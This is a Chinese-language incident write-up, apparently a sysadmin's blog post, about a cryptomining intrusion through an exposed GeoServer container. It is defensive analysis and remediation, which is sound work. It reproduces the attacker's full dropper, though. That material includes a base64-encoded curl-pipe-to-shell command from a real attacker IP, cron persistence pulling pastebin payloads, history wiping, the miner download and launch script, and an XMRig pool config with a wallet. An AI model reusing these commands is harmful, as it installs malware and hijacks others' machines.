共计 6863 个字符,预计需要花费 18 分钟才能阅读完成。
写在前面
一大早来公司收到告警,机器负载暴涨。排查后发现被入侵执行了挖矿程序,修复完毕后记录处理措施。
溯源
定位
CPU和内存使用率暴涨:
登录服务器排查高负载进程:
问题进程: /tmp/.xim-unix/javae
启动用户:hdigital
启动时间:2025-09-01 23:03:43
从路径、文件名特征来看并非正常业务进程,搜索引擎简单排查可知为挖矿进程
利用云安全工具:
由于云提供商为阿里云,阿里云往往附赠了基础的安全防护,在机器上也有安装安全agent
查看云安全事件,确认到入侵源,以及入侵方式,入侵执行命令等
按时间从前往后排序:
# 原始命令
bash -c {echo,Y3VybCAtZnNTTCBodHRwOi8vMjIwLjg0LjEwNy42OS9qcy9nbC50eHQgfHNoCg==}|{base64,-d}|{bash,-i}
# 解码后
curl -fsSL http://220.84.107.69/js/gl.txt |sh
脚本 `http://220.84.107.69/js/gl.txt` 内容:
#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
rm -f /tmp/.java
ps aux | grep -v grep | grep 'javaupDate' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
pkill SSHD2
s2=`whoami`
if [ s2 = "root" ];
then
sed -i '/old.txt/d' /etc/crontab
sed -i '/pastebin/d' /etc/hosts
sed -i '/supportxmr/d' /etc/hosts
chattr -isa /var/spool/cron/*
chattr -ia /etc/crontab
echo '*/10 * * * * root curl -fsSL https://pastebin.com/raw/65y4EmZV |sh > /dev/null 2>&1' > /etc/crontab
chattr -ia /var/spool/cron/root
chattr -ia /var/spool/cron/crontabs/root
echo '*/10 * * * * root curl -fsSL https://pastebin.com/raw/65y4EmZV |sh > /dev/null 2>&1' > /etc/cron.d/root
else
echo ""
fi
if crontab -l | grep -q "7JiYhPc5"
then
echo "Cron exists"
else
crontab -l | sed 'pastebin' | crontab -
echo "*/5 * * * * curl -fsSL https://pastebin.com/raw/7JiYhPc5 |sh > /dev/null 2>&1" | crontab -
fi
pgrep JavaUpdate | xargs -I % kill -9 %
pgrep kinsing | xargs -I % kill -9 %
pgrep Linux.TF | xargs -I % kill -9 %
pgrep sysupdate | xargs -I % kill -9 %
pgrep mysqlserver | xargs -I % kill -9 %
pgrep network01 | xargs -I % kill -9 %
pgrep xmrig | xargs -I % kill -9 %
pgrep javasd | xargs -I % kill -9 %
killall /tmp/.font-java/*
crontab -l | sed '/mysqlserver/d' | crontab -
crontab -l | sed '/ldr.sh/d' | crontab -
pkill -f /tmp/just4root
pkill -f /tmp/just4copy
pkill -f /tmp/.font-config
pkill -f /var/tmp/kinsing
rm -rf /var/tmp/.system-python3.8-Updates
rm -rf /var/tmp/.Javadoc
pkill watchhound
pkill gnd1481
killall /tmp/.font-java/*
netstat -antp | grep '94.130.164.163:443' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5731' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14433' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill cloudupdate
pkill diskmanagerd
pkill jspserv
pkill xmrig
pkill sysupdate
pkill Linux.TF
pkill network001
pkill network01
pkill network02
pkill wdnmd
pkill Linux.TF
pkill javafd
pkill sysguard
pkill networkservice
pkill kdevtmpfs
pkill watchbog
echo >~/.bash_history
killall -9 kworkerds
rm -f /tmp/*
p=$(ps auxf|grep javae|awk '{if($3>=70.0) print $2}')
name=""$p
if [ -z "$name" ]
then
ps auxf| grep -v 'systemd\|grep\|java' | awk '{if($3>=90.0) print $2}'| xargs -I % kill -9 %
netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
mkdir /tmp/.XIN-unix
curl -fsSL http://220.84.107.69/js/config.json -o /tmp/.XIN-unix/config.json
curl -fsSL http://220.84.107.69/js/x.rar -o /tmp/.XIN-unix/javae
curl -fsSL http://220.84.107.69/js/startup.sh -o /tmp/startup.sh
chmod +x /tmp/.XIN-unix/javae
chmod +x /tmp/startup.sh
cd /tmp
nohup sh startup.sh >/dev/null 2>&1 &
sleep 10
rm -f /tmp/startup.sh
else
exit
fi
http://220.84.107.69/js/config.json 内容:
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"rebench-algo": false,
"bench-algo-time": 30,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"mode": "auto",
"1gb-pages": true,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 100,
"asm": true,
"argon2-impl": null,
"astrobwt-max-size": 550,
"cn/0": false,
"cn-lite/0": false,
"kawpow": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 1,
"log-file": null,
"pools": [
{
"algo": null,
"coin": null,
"url": "pool.supportxmr.com:443",
"user": "47DsNc5pK8rYBQF4ev3mNBct3tkkHuUmxeqCSSbX3YuBhXweSB9XeQbcPMqEBaSJy4bGrPxbdMJkphrVQ5AmastoEMpSjcU",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null
}
],
"print-time": 60,
"health-print-time": 60,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"user-agent": null,
"verbose": 0,
"watch": true,
"pause-on-battery": false
}
http://220.84.107.69/js/startup.sh 内容:
#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
ps aux | grep pts | grep -v 'grep\|scripts\|agetty'
if [ $? -ne 0 ]
then
p=$(ps auxf|grep javae|awk '{if($3>=60.0) print $2}')
name=""$p
if [ -z "$name" ]
then
pkill javae
nohup /tmp/.XIN-unix/javae &>>/dev/null &
sleep 30
else
:
fi
else
pkill javae
sleep 5
fi
done
最终启动了挖矿程序:
总结:geoserver 对全网暴露了 9595,由于镜像本身漏洞导致被入侵
分析恶意行为
主要恶意行为分析:
- 清理竞争对手(其他挖矿木马)
# 杀死其他挖矿进程 rm -f /tmp/.java ps aux | grep -v grep | grep 'javaupDate' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 % pkill SSHD2
- 建立持久化机制
覆盖系统crontab: 完全替换 /etc/crontab 内容
创建备用定时任务: 在 /etc/cron.d/root 创建备份
文件属性操作: 移除和设置chattr保护属性
清理DNS劫持痕迹: 从hosts文件删除挖矿相关域名检查用户定时任务中是否已存在特定标识
添加每5分钟执行的用户级定时任务
尝试清理pastebin相关的旧任务# 系统级持久化 if [ s2 = "root" ]; # 注意:语法错误,应该是 $s2 then # 清理旧的定时任务痕迹 sed -i '/old.txt/d' /etc/crontab sed -i '/pastebin/d' /etc/hosts sed -i '/supportxmr/d' /etc/hosts # 移除文件保护属性 chattr -isa /var/spool/cron/* chattr -ia /etc/crontab # 植入系统级定时任务 echo '*/10 * * * * root curl -fsSL https://pastebin.com/raw/65y4EmZV |sh > /dev/null 2>&1' > /etc/crontab # 保护定时任务文件 chattr -ia /var/spool/cron/root chattr -ia /var/spool/cron/crontabs/root # 在cron.d目录创建备用定时任务 echo '*/10 * * * * root curl -fsSL https://pastebin.com/raw/65y4EmZV |sh > /dev/null 2>&1' > /etc/cron.d/root # 用户级持久化 if crontab -l | grep -q "7JiYhPc5" then echo "Cron exists" else crontab -l | sed 'pastebin' | crontab - # 语法错误,应该是 sed '/pastebin/d' echo "*/5 * * * * curl -fsSL https://pastebin.com/raw/7JiYhPc5 |sh > /dev/null 2>&1" | crontab - fi
- 下载并运行挖矿程序
# 创建隐藏目录并下载挖矿文件 mkdir /tmp/.XIN-unix curl http://220.84.107.69/js/config.json -o /tmp/.XIN-unix/config.json curl http://220.84.107.69/js/x.rar -o /tmp/.XIN-unix/javae # 挖矿程序 curl http://220.84.107.69/js/startup.sh -o /tmp/startup.sh
系统篡改如下:
文件系统篡改
- 覆盖 /etc/crontab
- 创建 /etc/cron.d/root
- 修改用户crontab
- 创建 /tmp/.XIN-unix/ 目录
- 清空 \~/.bash_history
- 删除竞争对手文件
进程篡改
- 杀死大量系统和恶意进程
- 启动挖矿进程 javae
- 断开特定网络连接
持久化机制
- 系统级定时任务(每10分钟)
- 用户级定时任务(每5分钟)
- 双重备份机制
反检测措施
- 清空命令历史
- 删除启动脚本
- 使用隐藏目录
- 后台静默运行
由于漏洞来源是容器服务,镜像:kartoza/geoserver:2.23.0
而此容器为普通用户执行,并非特权容器
篡改仅在容器内部,未溢出到宿主机,影响有限
修复
一般情况下,修复措施流程为:
- 确认影响范围
- 确认漏洞,以及防火墙开放情况
- 确认业务情况
- 停服或修复漏洞
- 清理残留,修复对系统的恶意篡改(或重装)
服务关停:
和业务同学沟通得知端口的确需要对全网开放,但是服务本身可能并未使用了,故先执行停服
停服后负载马上降低:
若服务仍需正常提供访问,则需要排查 geoserver 近期漏洞,更新版本看是否能够修复漏洞。
防范
两类:
- 减少被入侵风险
- 排查服务端口监听、安全组开放情况,确保非必要不对全网开放端口
- 排查其他服务器是否有类似情况
- 缩小入侵后影响面
- 慎用root身份启动对全网暴露的服务